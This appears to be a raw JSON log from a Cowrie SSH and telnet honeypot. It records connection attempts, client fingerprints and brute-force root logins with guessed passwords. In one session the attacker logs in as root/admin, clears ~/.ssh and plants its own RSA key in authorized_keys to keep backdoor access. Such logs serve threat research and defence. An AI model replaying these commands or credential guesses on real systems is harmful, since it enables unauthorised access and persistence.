{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36380,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbc5b74ea34a","protocol":"telnet","message":"New connection: 50.6.8.71:36380 (10.17.0.5:23) [session: dbc5b74ea34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:04.988552Z"}
{"eventid":"cowrie.session.closed","duration":120.00178599357605,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:06.120051Z","src_ip":"67.222.148.25","session":"b4073ac846ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60696,"dst_ip":"159.203.135.109","dst_port":22,"session":"84b6dc1e38d5","protocol":"ssh","message":"New connection: 80.94.92.184:60696 (159.203.135.109:22) [session: 84b6dc1e38d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:06.861952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:07.100508Z","src_ip":"80.94.92.184","session":"84b6dc1e38d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:07.109578Z","src_ip":"80.94.92.184","session":"84b6dc1e38d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.6235949993133545,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:07.611766Z","src_ip":"50.6.8.71","session":"dbc5b74ea34a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:08.299700Z","src_ip":"80.94.92.184","session":"84b6dc1e38d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:09.472058Z","src_ip":"80.94.92.184","session":"84b6dc1e38d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.86208748817444,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:31.155493Z","src_ip":"50.6.8.71","session":"84d26c3476df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38078,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd9aa35e15ee","protocol":"telnet","message":"New connection: 50.6.8.71:38078 (10.17.0.5:23) [session: cd9aa35e15ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:34.135628Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40840,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef41fb26d5b1","protocol":"telnet","message":"New connection: 50.6.8.71:40840 (10.17.0.5:23) [session: ef41fb26d5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:39.487373Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":54194,"dst_ip":"159.203.135.109","dst_port":22,"session":"60ba34be4b59","protocol":"ssh","message":"New connection: 87.106.29.151:54194 (159.203.135.109:22) [session: 60ba34be4b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:43.093163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:43.098279Z","src_ip":"87.106.29.151","session":"60ba34be4b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:43.190710Z","src_ip":"87.106.29.151","session":"60ba34be4b59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pembantu23@@","message":"login attempt [root/Pembantu23@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:43.590841Z","src_ip":"87.106.29.151","session":"60ba34be4b59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:44.685896Z","src_ip":"87.106.29.151","session":"60ba34be4b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36110,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e84e20b757d","protocol":"ssh","message":"New connection: 194.113.233.25:36110 (159.203.135.109:22) [session: 0e84e20b757d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:49.719624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:49.725612Z","src_ip":"194.113.233.25","session":"0e84e20b757d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:49.817667Z","src_ip":"194.113.233.25","session":"0e84e20b757d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyfnjkbq","message":"login attempt [root/fyfnjkbq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:50.098333Z","src_ip":"194.113.233.25","session":"0e84e20b757d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:51.193763Z","src_ip":"194.113.233.25","session":"0e84e20b757d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":44432,"dst_ip":"10.17.0.5","dst_port":22,"session":"594a2b4c88af","protocol":"ssh","message":"New connection: 185.236.22.41:44432 (10.17.0.5:22) [session: 594a2b4c88af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:55.562159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:55.567014Z","src_ip":"185.236.22.41","session":"594a2b4c88af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:55.697724Z","src_ip":"185.236.22.41","session":"594a2b4c88af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angela","message":"login attempt [root/angela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:56.081258Z","src_ip":"185.236.22.41","session":"594a2b4c88af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:26:57.199185Z","src_ip":"185.236.22.41","session":"594a2b4c88af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.774402379989624,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:06.909956Z","src_ip":"50.6.8.71","session":"cd9aa35e15ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.25213265419006,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:13.739409Z","src_ip":"50.6.8.71","session":"ef41fb26d5b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37016,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b23bb0f615","protocol":"telnet","message":"New connection: 50.6.8.71:37016 (10.17.0.5:23) [session: b7b23bb0f615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:45.023575Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":43970,"dst_ip":"159.203.135.109","dst_port":22,"session":"8acabc79509b","protocol":"ssh","message":"New connection: 87.106.29.151:43970 (159.203.135.109:22) [session: 8acabc79509b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:49.397384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:49.402701Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:49.499390Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:49.917496Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.155637Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.159050Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.163418Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.357320Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.504285Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.507114Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.607717Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.611075Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":43972,"dst_ip":"159.203.135.109","dst_port":22,"session":"319e74d9e677","protocol":"ssh","message":"New connection: 87.106.29.151:43972 (159.203.135.109:22) [session: 319e74d9e677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.701727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.705666Z","src_ip":"87.106.29.151","session":"319e74d9e677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:50.802515Z","src_ip":"87.106.29.151","session":"319e74d9e677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:51.222573Z","src_ip":"87.106.29.151","session":"319e74d9e677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:52.323565Z","src_ip":"87.106.29.151","session":"319e74d9e677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":43984,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a81a746cf0a","protocol":"ssh","message":"New connection: 87.106.29.151:43984 (159.203.135.109:22) [session: 1a81a746cf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:52.417162Z"}
